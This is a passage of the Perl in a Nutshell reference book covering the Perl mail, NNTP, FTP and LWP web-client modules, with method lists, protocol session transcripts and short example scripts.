$msg->set('To', ('you@mail.somename.com', 'postmaster@mail.somename.com'));
You might think that you could use the set function as follows to add multiple values to a header value:
$msg->set('To', 'you@mail.somename.com');
$msg->set('To', 'someone@their.mailaddress.com');
However, set doesn't append information from one call to another, and the example above would send the mail only to someone@their.mailaddress.com. To append a name to the To header, use the add method. For example:
$msg->add('To', 'you@mail.somename.com');
$msg->add('To', 'someone@their.mailaddress.com');

The following methods are defined for Mail::Send:

  • new
  • add
  • bcc
  • cancel
  • cc
  • close
  • delete
  • open
  • set
  • subject
  • to

14.2.3 Handle Folders with Mail::Folder

Once you've begun downloading and reading your mail from a POP server, you might want to save or categorize your messages into folders, which allow you to add, delete, save, and move messages easily. You can do this with Mail::Folder, which was written by Kevin Johnson as an object-oriented, folder-independent interface to mail folders. Mail::Folder supports a number of mailbox formats with the following interfaces:

Mail::Folder::Emaul

A folder interface somewhat similar to MH.

Mail::Folder::Maildir

An interface to maildir folders.

Mail::Folder::Mbox

Standard Unix mailbox format.

Mail::Folder::NNTP

The beginnings of an interface to NNTP; not all the methods are implemented yet.

If you are interested in writing a folder interface, see the documentation for the module. The documentation explains the concepts and issues involved, and describes some of the methods you may need to override.

The following methods are defined for Mail::Folder:

  • new
  • add_label
  • append_message
  • clear_label
  • close
  • current_message
  • debug
  • debug_print
  • delete_label
  • delete_message
  • dup
  • first_labeled_message
  • first_message
  • foldername
  • get_fields
  • get_header
  • get_message
  • get_message_file
  • get_mime_header
  • get_mime_message
  • get_option
  • inverse_select
  • is_readonly
  • label_exists
  • last_labeled_message
  • last_message
  • list_all_labels
  • list_labels
  • message_exists
  • message_list
  • next_labeled_message
  • next_message
  • open
  • pack
  • prev_labeled_message
  • prev_message
  • qty
  • refile
  • select
  • select_label
  • set_option
  • set_readonly
  • sort
  • sync
  • undelete_message
  • update_message

14.2.4 Handle Messages with Mail::Internet

Mail::Internet implements a number of helpful functions for manipulating a mail message. These include body, print_header, and head. Mail::Internet is built on top of Mail::Header, which parses the header of an email message, and it inherits the Mail::Header constructor style that requires a file descriptor or reference to an array be used. For example:

@lines = <STDIN>;
$mi_obj = new Mail::Internet([@lines]);
reads a mail message from STDIN (using a reference to an array). The following example reads a mail message from a filehandle, FILE.
open(FILE, "/home/nvp/Mail/nvp");
$mi_obj = new Mail::Internet(\*FILE);
close(FILE);
The print_header function outputs the header of a message to a file descriptor; the default is STDOUT.
open(FILE, "/home/nvp/Mail/nvp");
$mi_obj = new Mail::Internet(\*FILE);
close(FILE);
$mi_obj->print_header(\*STDOUT);
The above example might output:
From nvp Mon Jun  9 00:11:10 1997
Received: (from nvp@localhost) by mail.somename.com (8.8/8.8) id
    AAA03248 for nvp; Mon, 9 Jun 1997 00:11:09 -0500 (EST)
Date: Mon, 9 Jun 1997 00:11:09 -0500 (EST)
From: "Nathan V. Patwardhan" <nvp>
Message-Id: <199706090511.AAA03248@mail.somename.com>
To: nvp
Subject: pop test
X-Status:
X-Uid: 1
Status: RO
where print_body also takes a file descriptor as an argument, but only outputs the body of the message, whereas the print function outputs an entire message.

14.2.5 Mail::Internet Reference

  • new
  • add_signature
  • body
  • escape_from
  • head
  • nntppost
  • print_header
  • remove_sig
  • reply
  • smtpsend
  • tidy_body
  • unescape_from

14.2.6 Parse Email Addresses with Mail::Address

Mail::Address parses RFC 822-compliant mail addresses of the form:

"Full Name or Phrase" <username@host> (Comment Area)
For example, under RFC 822, an address might be represented as:
"Nathan V. Patwardhan" <nvp@mail.somename.com> (No Comment)
or:
"Nathan V. Patwardhan" <nvp@mail.somename.com>
The Mail::Address constructor parses an email address into three parts based on the categories shown above:
$addr = Mail::Address->new("Full Name or Phrase",
                           "username@host",
                           "(Comment Area)");
Mail::Address also outputs portions of the mail address with the functions phrase, address, comment, format, name, host, and user. The phrase, address, and comment functions represent the first, second, and third entities that were passed to the Mail::Address constructor, where the phrase function:
print $addr->phrase();
outputs:
Nathan V. Patwardhan
The address function:
print $addr->address();
outputs:
nvp@mail.somename.com
And the comment function:
print $addr->comment();
outputs:
No Comment
A real mail address can be "unmangled," or parsed from its user@somehost.com format, with the user and host functions. The user function removes everything starting with the @ to the end of the address, and host removes everything up to and including the @. Using the previous example of nvp@mail.somename.com, the following line:
print $addr->user;
outputs:
nvp
And the following line using the host function:
print $addr->host;
outputs:
nvp@mail.somename.com

14.2.7 Mail::Address Reference

  • new
  • parse
  • address
  • canon
  • comment
  • format
  • host
  • name
  • path
  • phrase
  • user

14.2.8 Reading Email with Mail::POP3Client

Many networks have machines dedicated to sending and receiving email. Since users might hold accounts on foo.bar.com, while mail is sent to pop-server.bar.com, there must be a means to transfer the mail from the "post office" machine to the host on which the user works. The Post Office Protocol, or POP, negotiates this mail transfer.

When a user wants to retrieve his or her mail, the user's mail client connects to the POP server and authenticates the user with a login name and password, as we described earlier. Once authenticated, the user can list, read, and delete messages from the POP server.

The Mail::POP3Client module simplifies the process of "talking POP" by implementing a number of functions to login, parse, and read mail messages held on the POP server. Information that the POP server needs, such as the user's login name and password, and possibly some optional information (the name of the POP host, the port, and a debugging flag) are passed to the constructor when a new POP3Client object is created. For example:

use Mail::POP3Client;

$pop = Mail::POP3Client->new("login",     # required
                             "password",  #required
                             "pophost.your.domain", # not required
                             port,        # default is 110
                             debug_flag); # any positive integer
POP3Client provides functions to perform the following:

14.2.8.1 Counting messages

The Count function returns the number of messages in the mailbox. Once they have been authenticated, users can list the headers of the messages in their mailbox using the Head function in conjunction with the Count function, as shown in the following example:

use strict;
use Mail::POP3Client;
my($pop, $num_mesg, $i);
$pop = Mail::POP3Client->new("nvp",
                            "xxxxxx");

$num_mesg = $pop->Count;           # How many messages are there?
print("You have ".$num_mesg." new message(s).\n");

for ($i = 1; $i <= $num_mesg; $i++) {
    print $pop->Head($i), "\n";   #print header for each message
}
You can also use a regular expression to parse the headers and display certain information, such as the sender and subject of each mail message:
my($pop, $num_mesg, $i);

$pop = Mail::POP3Client->new("nvp",
                            "xxxxxx");

for ($i = 1; $i <= $pop->Count; $i++) {
    foreach ($pop->Head($i)) {
               # output from and subject
        print $_." " if /^(From|Subject)/;
   }
    print "\n";
}

14.2.8.2 Getting and setting the host and port

The Host method returns or sets the current POP host. For example:

$obj->Host;
returns the current POP host. To set the new POP host to new-pop.bar.com, you could do this:
$new_host = 'new-pop.bar.com';
$obj->Host($new_host);
The Port method works like Host, returning or setting the current port that the POP server is bound to:
$obj->Port;            #return the current port for the POP server
$new_port = 7000;      #set the port to 7000
$obj->Port($new_port);

14.2.8.3 Retrieving the message body

Naturally, you'll want to read more than the headers of your mail messages, so you'll want to use the Body, HeadAndBody, and Retrieve methods. Body outputs the body of the message, while HeadAndBody and Retrieve are synonyms that output both the head and the body of the message.

14.2.8.4 Deleting and undeleting messages

Messages can be deleted from the POP mailbox with the Delete method. Delete marks messages on the server for deletion; they aren't permanently removed until a QUIT command is received. Delete takes one argument - the number of the message to delete:

$pop->Delete(1);         #delete the first message
Like most mail programs, Mail::POP3Client can undelete messages that have been marked for deletion. Use the Reset method to do this:
$pop->Reset(1);          #undelete the first message

14.2.8.5 Checking the connection

Most programs that require a user to log in will time out after a certain period of time for security and resource reasons. The Alive method checks to see if the connection to the POP server is still open; it returns true if the connection is good, and false otherwise.

14.2.8.6 Explicitly opening and closing connections

POP connections can be explicitly opened and closed with Login and Close. Close takes no arguments and closes the connection to the POP server.

14.2.9 Mail::POP3Client Methods

The following methods are defined by Mail::POP3Client:

  • new
  • Alive
  • Body
  • Close
  • Connect
  • Count
  • Delete
  • Head
  • HeadAndBody
  • Host
  • Last
  • List
  • Login
  • Message
  • Pass
  • POPStat
  • Port
  • Reset
  • Retrieve
  • Size
  • Socket
  • State
  • User

Previous: 14.1 The Net Modules | Perl in a Nutshell | Next: 15. Usenet News
14.1 The Net Modules | Book Index | 15. Usenet News


[Chapter 15] Usenet News

Perl in a Nutshell

Perl in a NutshellSearch this book
Previous: 14.2 The Mail Modules Chapter 15 Next: 15.2 Net::NNTP

15. Usenet News

Contents:
The NNTP Protocol
Net::NNTP
The News::Newsrc Module

Usenet is a collection of bulletin-board-like newsgroups on the Internet, covering thousands of topics. Whatever your interest, chances are you'll find a newsgroup in which it is discussed.

Usenet has been around since late 1979. The current implementation is based on the Network News Transfer Protocol (NNTP), defined in RFC 977 and released in March 1986. Information is propagated through Usenet by a system of newsfeeds in which one site requests a newsfeed from another site, and a third site requests a newsfeed from the second site, etc. There is no central Usenet authority - like Perl, it runs on the spirit of cooperation and sharing. When you run a news reader, such as tin or the news reader in a web browser, your client software talks to the NNTP server on the news host. When you post a message to a newsgroup, this posting is received by your NNTP server and passed on to other servers throughout the distribution area you specified for the posting. Each server periodically receives updated newsgroup information and newly posted news articles.

This chapter explores NNTP commands and responses. It introduces Net::NNTP, which implements NNTP commands and simplifies the process of writing a Perl-based NNTP news client. It also describes News::Newsrc, a module that provides methods for managing a .newsrc file.

There are two kinds of NNTP commands - the official set of commands as defined in RFC 977 and a number of extensions that have been added since the RFC was written. The extensions are described in an IETF Internet Draft document, "Common NNTP Extensions" by Stan Barber, which can be found at ftp://ftp.academ.com/pub/nntp/ietf/nntpext.txt.

15.1 The NNTP Protocol

Before you write your own news client, you should have some idea of how the NNTP protocol works. Like other servers, an NNTP server is bound to a port (usually port 119). It listens for incoming connections, takes the appropriate action, and returns a response to the client. When a news client connects with an NNTP server, or to the port on which the NNTP server is running, a message like the following is produced:

Trying 0.0.0.0...
Connected to hostname.mydomain.com.
Escape character is '^]'.
200 newshost.mydomain.com InterNetNews NNRP server INN 1.5.1 17-Dec-1996 ready
(posting ok).
Many NNTP servers understand the help (or HELP) command. When a client issues a help command, many NNTP servers respond with a list of all available commands. For example:
200 news.mydomain.com InterNetNews NNRP server INN 1.5.1 17-Dec-1996 ready
(posting ok).
HELP
100 Legal commands
  authinfo user Name|pass Password|generic <prog> <args>
  article [MessageID|Number]
  body [MessageID|Number]
  date
  group newsgroup
  head [MessageID|Number]
  help
  ihave
  last
  list [active|active.times|newsgroups|distributions|distrib.pats|overview.fmt
|subscriptions]
  listgroup newsgroup
  mode reader
  newgroups yymmdd hhmmss ["GMT"] [<distributions>]
  newnews newsgroups yymmdd hhmmss ["GMT"] [<distributions>]
  next
  post
  slave
  stat [MessageID|Number]
  xgtitle [group_pattern]
  xhdr header [range|MessageID]
  xover [range]
  xpat header range|MessageID pat [morepat...]
  xpath MessageID
Report problems to <usenet@news.mydomain.com>
.
After connecting to the NNTP server, you can get a list of available newsgroups with the list active command, and you can then select a newsgroup. If you were to connect directly to news.mydomain.com and use the group command to select the newsgroup local.test, your session might look like this:
200 news.mydomain.com InterNetNews NNRP server INN 1.5.1 17-Dec-1996 ready
(posting ok).
group local.test
211 4 1 4 local.test
QUIT
205 .
The four numbers (in this example, 211 4 1 4) preceding the group name (local.test) represent the success code, total number of articles, and the first and last article numbers, respectively. So in this example, 211 is the success code. There are four articles in the local.test group, starting with article number 1 and ending with number 4.

Every article in a newsgroup has two identifiers associated with it. The first is the message number and the second is a message ID. The message number is the number of that article on the server to which you are connecting. The message ID is an identifier that is always associated with the article on every server that receives the article. An article that has the message number 4 on your server might be number 83 on someone else's server. The message ID, however, will be the same on both. So, for example, if you want to post an article that refers to another article, use the message ID.

Once the group command has successfully identified a newsgroup, the client can request a particular article by sending an article request to the server. The article command takes either a message ID or a message number as an argument. For example:

article 4
Path: newshost.mydomain.com!news-w.ans.net!newsfeeds.ans.net!philabs ...
From: user@mydomain.com (User Name)
Newsgroups: local.test
Subject: Is anybody there?
Date: 21 Apr 1997
...
If the article command is successful, the server returns the selected message.

The xhdr command returns the selected headers ("X-headers") from articles in a certain newsgroup. The X-headers contain all the information about the news article, including the poster's email address, the subject of the message, the date and time the message was posted, the newsgroup(s) the message appears in, and the message ID. For example, if you want to see the subjects of the articles in the local.test newsgroup, you can run xhdr subject 1-4, as follows:

xhdr subject 1-4
221 subject fields follow
1   Is anybody there?
2   Re: Is anybody there?
3   Re: Is anybody there?
4   Get a life!
The 221 status code indicates that the xhdr completed successfully and returned the requested headers. A Usenet client might display these headers to the user, who can then select the articles to read based on the subject lines.

A command similar to xhdr is xpat, which matches X-headers against a pattern string you give it. For example, executing xpat subject 1-9 *anybody* for local.test might look like this:

xpat subject 1-9 *anybody*
221 subject matches follow.
1   Is anybody there?
2   Re: Is anybody there?
3   Re: Is anybody there?
You can also post news articles with NNTP. When you issue the post command, the server returns a code of 340 if posting is permitted. If you get an error, like 501, you cannot post articles with this command. Most servers require that you include Newsgroups, Subject, and From headers. You will receive a 240 reply if your message has been successfully posted. Here's an example of posting to local.test using NNTP:
200 news.mydomain.com InterNetNews NNRP server INN 1.5.1 17-Dec-1996 ready
(posting ok).
post
340 Ok
Newsgroups: local.test
Subject: talking NNTP
From: user@mydomain.com
This is a test posting.
.
240 Article posted
QUIT
205 .
The server returns a code of 205 upon disconnecting. When the article arrives in local.test, it looks like this:
From news.mydomain.com!not-for-mail Sun Mar  9 19:18:37 1997
Path: news.mydomain.com!not-for-mail
From: user@mydomain.com
Newsgroups: local.test
Subject: talking NNTP
Date: 10 Mar 1997 00:09:33 GMT
Organization: Perl in a Nutshell
Lines: 2
Distribution: local
Message-ID: <5fvjft$k3$2@news.mydomain.com>
NNTP-Posting-Host: newshost.mydomain.com
Xref: newshost.mydomain.com local.test:6

This is a test posting.

Previous: 14.2 The Mail Modules | Perl in a Nutshell | Next: 15.2 Net::NNTP
14.2 The Mail Modules | Book Index | 15.2 Net::NNTP


[Chapter 15] 15.2 Net::NNTP

Perl in a Nutshell

Perl in a NutshellSearch this book

15.2 Net::NNTP

Net::NNTP is one of the libnet modules. It provides methods for programming a news client to interface with an NNTP server. Net::NNTP implements the NNTP protocol as defined in RFC 977, as well as a number of extensions defined in the IETF Internet Draft document mentioned earlier.

For example, the following code:

$nntp->post(@message);
is equivalent to issuing the post command and associated X-headers directly to an NNTP server on port 119.

15.2.1 Initializing the NNTP Client

To use Net::NNTP, create a new Net::NNTP object:

use Net::NNTP;
$nntp = Net::NNTP->new;   # Use default port and options
Once you've created the object, you can use any of the Net::NNTP methods on that object. The Net::NNTP methods generally parallel the functionality of the raw NNTP commands. Your news client can be written to perform many functions, including:

  • Authenticating a user to the server

  • Listing available newsgroups

  • Retrieving news headers and articles

  • Extracting headers

  • Checking for new articles

  • Posting articles

  • Listing information such as active messages in a newsgroup, new newsgroups, valid distribution areas, or message IDs of newly arrived messages

15.2.2 Net::NNTP Reference

Net::NNTP includes methods that implement many of the extensions to RFC 977; the description indicates if a method is an extension. Extensions that are not supported by Net::NNTP are AUTHINFO GENERIC, XINDEX, XSEARCH, and XTHREAD. In addition, some extensions supported by Net::NNTP may not be supported by a particular server.

Unless otherwise stated, all the methods return either true or false to indicate success or failure. If a method returns a value instead, then it returns undef or an empty list to indicate failure.

In this list, message-spec refers to a single message ID, a single message number, or a reference to a list of two message numbers. It can also be passed as a list of two message numbers, but this is for compatibility only and is now deprecated.

Where pattern-matching is indicated, the matching is done according to the NNTP specification. See the Net::NNTP documentation for details.

  • new
  • active
  • active_times
  • article
  • authinfo
  • body
  • date
  • distributions
  • group
  • head
  • ihave
  • last
  • list
  • listgroup
  • newgroups
  • newnews
  • newsgroups
  • next
  • nntpstat
  • overview_fmt
  • post
  • postok
  • quit
  • reader
  • slave
  • subscriptions
  • xgtitle
  • xhdr
  • xover
  • xpat
  • xpath
  • xrover

Previous: 15.1 The NNTP Protocol | Perl in a Nutshell | Next: 15.3 The News::Newsrc Module
15.1 The NNTP Protocol | Book Index | 15.3 The News::Newsrc Module


[Chapter 15] 15.3 The News::Newsrc Module

Perl in a Nutshell

Perl in a NutshellSearch this book

15.3 The News::Newsrc Module

Most Unix-based newsreaders parse and extract your newsgroup information from a .newsrc file. This file contains an entry for each newsgroup, with the name of the group and a comma-separated list of article numbers from 1 to the current article. The first entry in the list shows articles that have been read; the remaining entries list unread articles. Each entry also has a colon (:) following the name if you are subscribed to that newsgroup or an exclamation point (!) if you are currently unsubscribed.

In order for you to read a newsgroup, your newsreader needs to be connected to an NNTP server. The newsreader then checks the .newsrc entry for that newsgroup to determine which articles you haven't yet read, and displays the first unread article. You can then read the articles sequentially or select which articles you want to read. When you "catch-up" a newsgroup by marking all the articles as "read," or when you exit from the newsreader program, your .newsrc file is updated to reflect your activity during that session.

The News::Newsrc module provides methods for managing your .newsrc file. Some of the functions it provides include letting you add, remove, or reorder newsgroups; subscribe to or unsubscribe from newsgroups; and mark articles as read or unmark them. Unless you tell it to rearrange the order of the newsgroups in .newsrc, News::Newsrc leaves the order unchanged.

15.3.1 News::Newsrc Reference

  • new
  • add_group
  • del_group
  • exists
  • groups
  • load
  • mark
  • marked
  • marked_articles
  • mark_list
  • mark_range
  • save
  • save_as
  • sub_groups
  • subscribe
  • subscribed
  • unmark
  • unmarked_articles
  • unmark_list
  • unmark_range
  • unsub_groups
  • unsubscribe

Previous: 15.2 Net::NNTP | Perl in a Nutshell | Next: 16. FTP
15.2 Net::NNTP | Book Index | 16. FTP


[Chapter 16] FTP

Perl in a Nutshell

Perl in a NutshellSearch this book
Previous: 15.3 The News::Newsrc Module Chapter 16 Next: 16.2 Net::FTP

16. FTP

Contents:
The FTP Protocol
Net::FTP
FTP Configuration with Net::Netrc

The File Transfer Protocol (FTP) is a popular means of transferring files between computers. FTP communication follows the client/server model: the client initiates a conversation by sending commands, and the server responds with messages and status codes, as well as by sending or receiving files. This chapter discusses two FTP-related modules included in the libnet distribution: Net::FTP, which provides a number of wrapper functions for implementing the client side of FTP, and Net::Netrc, which provides an interface for getting information from a .netrc file.

The FTP protocol permits two-way file transactions, in which files can be sent to or taken from an FTP server. These transactions involve the local filesystem (on the client side) and the remote filesystem (on the server side). When a file is transferred between the local and remote systems, its filename on the destination system is the same as on the source system unless you specify a new filename.

The FTP protocol also lists the types of files that can be transferred. These types define (among many other things) how end-of-line characters are handled for different types of files.

16.1 The FTP Protocol

When a server accepts FTP requests, it opens a port (generally port 21) for incoming connections and authenticates clients based on account or anonymous privileges. A user may log in with a legitimate account on that machine, provide her own password, and be given access to any file she normally has access to under the Unix shell. Many servers also allow "anonymous" FTP, in which users log in with the name "anonymous" and use their email address as the password. They are then granted restricted access to a limited portion of the filesystem.

The FTP commands defined in RFC 959 are listed in the following table:

Command | Meaning
ABOR | Abort previous FTP command
ACCT | Specify the user's account
ALLO | Tell server to allocate additional storage for new file
APPE | Tell server to append to an existing file
CDUP | Change to parent directory
CWD | Change directory
DELE | Delete a file
HELP | Get help
LIST | List files for display
MKD | Make a directory
MODE | Specify the data transfer mode
NLST | List files for additional processing
NOOP | No-op
PASS | Specify the user's password
PASV | Tell server to go into "passive" mode
PORT | Specify data port for connection
PWD | Print working directory
QUIT | Close connection
REIN | Reinitialize connection
REST | Restart a file transfer
RETR | Retrieve a file
RMD | Remove a directory
RNFR | Specify pathname of file to be renamed
RNTO | Specify new name of file being renamed
SITE | Provide additional site-specific services
SMNT | Mount a different file system
STAT | Get status
STOR | Tell server to accept a file for storage
STOU | Tell server to create unique name for new file
STRU | Specify the file structure
SYST | Tell server to declare its operating system
TYPE | Specify the data representation type
USER | Specify the username

Exactly which FTP commands are available depends on the server; some servers implement a subset, or possibly a superset, of the commands defined in the RFC. Net::FTP, which we'll discuss in this chapter, provides methods that implement all the commands except the following:
ALLO
HELP
MODE
REIN
SITE
SMNT
STAT
STRU
SYST

Previous: 15.3 The News::Newsrc Module | Perl in a Nutshell | Next: 16.2 Net::FTP
15.3 The News::Newsrc Module | Book Index | 16.2 Net::FTP


[Chapter 16] 16.2 Net::FTP

Perl in a Nutshell

Perl in a NutshellSearch this book

16.2 Net::FTP

Net::FTP is used to transfer files from remote hosts. Using Net::FTP, you can write simple FTP clients that transfer files from remote servers based on information passed on the command line or from hard-coded variables. Here is an example of a client that connects to a remote FTP server and gets a file from the server:

#!/usr/local/bin/perl -w

use Net::FTP;

$hostname = 'remotehost.com';
$username = 'anonymous';
$password = 'myname@mydomain.com';

# Hardcode the directory and filename to get
$home = '/pub';
$filename = 'TESTFILE';

# Open the connection to the host
$ftp = Net::FTP->new($hostname);         # construct object
$ftp->login($username, $password);       # log in

$ftp->cwd($home),"\n";                   # change directory
print $ftp->ls($home),"\n";

# Now get the file and leave
$ftp->get($filename);
$ftp->quit;
FTP clients have also been integrated with most World Wide Web browsers, using ftp:// in place of http://. When the URL points to a directory, the browser displays a listing of the directory, where each filename is a link to that file. When the URL points directly to a file, the remote file is downloaded.

Here's an example that uses Net::FTP to list files from a remote FTP server on a web page, with a link from each file to the URL of the file on the remote site:

#!/usr/local/bin/perl -w

use Net::FTP;

$hostname = 'remotehost.com';           # ftp host
$username = 'anonymous';                # username
$password = 'myname@mydomain.com';      # password
$home = '/pub';

$ftp = Net::FTP->new($hostname);        # Net::FTP constructor
$ftp->login($username, $password);      # log in w/username and password

$pwd = $ftp->pwd;                       # get current directory

# Now, output HTML page.
print <<HTML;
Content-type: text/html
<HTML>

  <HEAD>
    <TITLE>Download Files</TITLE>
  </HEAD>
  <BODY>

      <B>Current working directory:</B> $pwd<BR>
      Files to download: <P>
HTML

    @entries = $ftp->ls($home);       # slurp all entries into an array
    foreach (@entries) { # now, output links for all files in the ftp area
                         # as links
        print "<INPUT TYPE=hidden NAME=\"files\" VALUE=\"$_\">\n";
        print "<A HREF=\"ftp://$hostname$_\">",
        "<IMG SRC=\"http://www/icons/f.gif\" border=0>\n";
        print " $_</A><BR>\n";
    }
    print <<HTML;
  </BODY>
</HTML>
HTML
$ftp->quit;             # end FTP session
The Net::FTP module implements a subset (as shown earlier in this chapter) of the FTP protocol as defined in RFC 959. In addition to providing the methods shown below, the module inherits from Net::Cmd. Some of the Net::FTP methods return an object derived from the dataconn class (which is in turn derived from the IO::Socket::INET class), as noted in the entries for those methods.

The following methods are defined by Net::FTP:

  • new
  • abort
  • appe
  • append
  • authorize
  • ascii
  • binary
  • byte
  • cdup
  • cwd
  • delete
  • dir
  • ebcdic
  • get
  • list
  • login
  • ls
  • mdtm
  • mkdir
  • nlst
  • pasv
  • pasv_wait
  • pasv_xfer
  • pasv_xfer_unique
  • port
  • put
  • put_unique
  • pwd
  • quit
  • quot
  • rename
  • retr
  • rmdir
  • size
  • stor
  • stou
  • supported
  • type
  • unique_name

Previous: 16.1 The FTP Protocol | Perl in a Nutshell | Next: 16.3 FTP Configuration with Net::Netrc
16.1 The FTP Protocol | Book Index | 16.3 FTP Configuration with Net::Netrc


[Chapter 16] 16.3 FTP Configuration with Net::Netrc

Perl in a Nutshell

Perl in a NutshellSearch this book

16.3 FTP Configuration with Net::Netrc

Unix-based FTP clients use a file called .netrc, which you can configure to automate FTP access to sites you frequently visit. With a properly defined .netrc file, you can simply execute the FTP command to a favorite FTP host and be automatically logged in to the FTP server. Your .netrc file contains one line for each connection you want to be able to make. The following tokens can be specified for each entry:

machine name

Specifies a remote machine to which you want to autologin:

machine remotehost.com
Instead of machine name, you can specify the single word default to match any machine name. This is usually used for anonymous logins to machines not listed in .netrc.

login name

If present, identifies the user who logs in to the remote machine, where name is the login name.

password passwd

If present, gives the password for the user. The autologin process uses the specified password if the remote server requires one.

account acctpw

If present, gives an additional password for the user. The autologin process uses this password if the remote server requires one.

macdef name

If present, defines a macro with the specified name. Net::Netrc simply parses this field, in order to maintain compatibility with FTP.

Here's an example of a typical .netrc entry:

machine remotehost.com login username password userpasswd
Entering your username and password for remote sites in unencrypted form has serious security implications. Many sites consider .netrc files a violation of security policy and do not allow them. In addition, most FTP clients require that the .netrc file be owned by you and readable only by you, with permissions set to 0400 or 0600. If the permissions aren't correctly set, the autologin process aborts. Net::Netrc follows this security convention - if the permissions and ownership are not correct, the .netrc file isn't read, and a warning message is issued.

Net::Netrc implements a simple interface to the .netrc file, telling you which hosts you can automatically connect to. It doesn't actually connect to any remote hosts; it's simply used to query your configuration file and return the value of the tokens.

The following methods are supplied by Net::Netrc:

  • lookup
  • account
  • lpa
  • login
  • password

Previous: 16.2 Net::FTP | Perl in a Nutshell | Next: 17. The LWP Library
16.2 Net::FTP | Book Index | 17. The LWP Library


[Chapter 17] The LWP Library

Perl in a Nutshell

Perl in a NutshellSearch this book
Previous: 16.3 FTP Configuration with Net::Netrc Chapter 17 Next: 17.2 The LWP Modules

17. The LWP Library

Contents:
LWP Overview
The LWP Modules
The HTTP Modules
The HTML Module
The URI Module

LWP, the library for web access in Perl, is a bundle of modules that provide a consistent, object-oriented approach to creating web applications. The library, downloaded as the single file named libwww-perl, contains the following classes:

File

Parses directory listings.

Font

Handles Adobe Font Metrics.

HTML

Parses HTML files and converts them to printable or other forms.

HTTP

Provides client requests, server responses, and protocol implementation.

LWP

The core of all web client programs. It creates network connections and manages the communication and transactions between client and server.

URI

Creates, parses, and translates URLs.

WWW

Implements standards used for robots (automatic client programs).

Each module provides different building blocks that make up a whole web transaction - from connection, to request, to response and returned data. Each part is encapsulated by an object to give a standard interface to every web program you write. The following section gives an overview of how LWP works to create a web client.

17.1 LWP Overview

Any web transaction requires an application that can establish a TCP/IP network connection and send and receive messages using the appropriate protocol (usually HTTP). TCP/IP connections are established using sockets, and messages are exchanged via socket filehandles. See Chapter 13, Sockets, for information on how to manually create socket applications. LWP provides an object for this application with LWP::UserAgent for clients; HTTP::Daemon provides a server object. The UserAgent object acts as the browser: it connects to a server, sends requests, receives responses, and manages the received data. This is how you create a UserAgent object:

use LWP::UserAgent;
$ua = new LWP::UserAgent;
The UserAgent now needs to send a message to a server requesting a URL (Universal Resource Locator) using the request method. request forms an HTTP request from the object given as its argument. This request object is created by HTTP::Request.

An HTTP request message contains three elements. The first line of a message always contains an HTTP command called a method, a Universal Resource Identifier (URI), which identifies the file or resource the client is querying, and the HTTP version number. The following lines of a client request contain header information, which provides information about the client and any data it is sending the server. The third part of a client request is the entity body, which is data being sent to the server (for the POST method). The following is a sample HTTP request:

GET /index.html HTTP/1.0
User-Agent: Mozilla/1.1N (Macintosh; I; 68K)
Accept: */*
Accept: image/gif
Accept: image/jpeg
LWP::UserAgent->request forms this message from an HTTP::Request object. A request object requires a method for the first argument. The GET method asks for a file, while the POST method supplies information such as form data to a server application. There are other methods, but these two are most commonly used.

The second argument is the URL for the request. The URL must contain the server name, for this is how the UserAgent knows where to connect. The URL argument can be represented as a string or as a URI::URL object, which allows more complex URLs to be formed and managed. Optional parameters for an HTTP::Request include your own headers, in the form of an HTTP::Headers object, and any POST data for the message. The following example creates a request object:

use HTTP::Request;

$req = new HTTP::Request(GET, $url, $hdrs);
The URL object is created like this:
use URI::URL;

$url = new URI::URL('www.ora.com/index.html');
And a header object can be created like this:
use HTTP::Headers;

$hdrs = new HTTP::Headers(Accept => 'text/plain',
                          User-Agent => 'MegaBrowser/1.0');
Then you can put them all together to make a request:
use LWP::UserAgent;  # This will cover all of them!

$hdrs = new HTTP::Headers(Accept => 'text/plain',
                          User-Agent => 'MegaBrowser/1.0');

$url = new URI::URL('www.ora.com/index.html');
$req = new HTTP::Request(GET, $url, $hdrs);
$ua = new LWP::UserAgent;
$resp = $ua->request($req);
if ($resp->is_success) {
        print $resp->content;}
else {
        print $resp->message;}
Once the request has been made by the user agent, the response from the server is returned as another object, described by HTTP::Response. This object contains the status code of the request, returned headers, and the content you requested, if successful. In the example, is_success checks to see if the request was fulfilled without problems, thus outputting the content. If unsuccessful, a message describing the server's response code is printed.

There are other modules and classes that create useful objects for web clients in LWP, but the above examples show the most basic ones. For server applications, many of the objects used above become pieces of a server transaction, which you either create yourself (such as response objects) or receive from a client (like request objects).

Additional functionality for both client and server applications is provided by the HTML module. This module provides many classes for both the creation and interpretation of HTML documents.

The rest of this chapter provides information for the LWP, HTTP, HTML, and URI modules.

Previous: 16.3 FTP Configuration with Net::Netrc | Perl in a Nutshell | Next: 17.2 The LWP Modules
16.3 FTP Configuration with Net::Netrc | Book Index | 17.2 The LWP Modules


[Chapter 17] 17.2 The LWP Modules

Perl in a Nutshell

Perl in a NutshellSearch this book

17.2 The LWP Modules

The LWP modules provide the core of functionality for web programming in Perl. It contains the foundations for networking applications, protocol implementations, media type definitions, and debugging ability.

The modules LWP::Simple and LWP::UserAgent define client applications that implement network connections, send requests, and receive response data from servers. LWP::RobotUA is another client application that is used to build automated web searchers following a specified set of guidelines.

LWP::UserAgent is the primary module used in applications built with LWP. With it, you can build your own robust web client. It is also the base class for the Simple and RobotUA modules. These two modules provide a specialized set of functions for creating clients.

Additional LWP modules provide the building blocks required for web communications, but you often don't need to use them directly in your applications. LWP::Protocol implements the actual socket connections with the appropriate protocol. The most common protocol is HTTP, but mail protocols (like SMTP), FTP for file transfers, and others can be used across networks.

LWP::MediaTypes implements the MIME definitions for media type identification and mapping to file extensions. The LWP::Debug module provides functions to help you debug your LWP applications.

The following sections describe the RobotUA, Simple, and UserAgent modules of LWP.

17.2.1 LWP::RobotUA sections

The Robot User Agent (LWP::RobotUA) is a subclass of LWP::UserAgent, and is used to create robot client applications. A robot application requests resources in an automated fashion. Robots perform such activities as searching, mirroring, and surveying. Some robots collect statistics, while others wander the Web and summarize their findings for a search engine.

The LWP::RobotUA module defines methods to help program robot applications and observes the Robot Exclusion Standards, which web server administrators can define on their web site to keep robots away from certain (or all) areas of the site.

The constructor for an LWP::RobotUA object looks like this:

$rob = LWP::RobotUA->new(agent_name, email, [$rules]);
The first parameter, agent_name, is the user agent identifier that is used for the value of the User-Agent header in the request. The second parameter is the email address of the person using the robot, and the optional third parameter is a reference to a WWW::RobotRules object, which is used to store the robot rules for a server. If you omit the third parameter, the LWP::RobotUA module requests the robots.txt file from every server it contacts, and then generates its own WWW::RobotRules object.

Since LWP::RobotUA is a subclass of LWP::UserAgent, the LWP::UserAgent methods are used to perform the basic client activities. The following methods are defined by LWP::RobotUA for robot-related functionality:

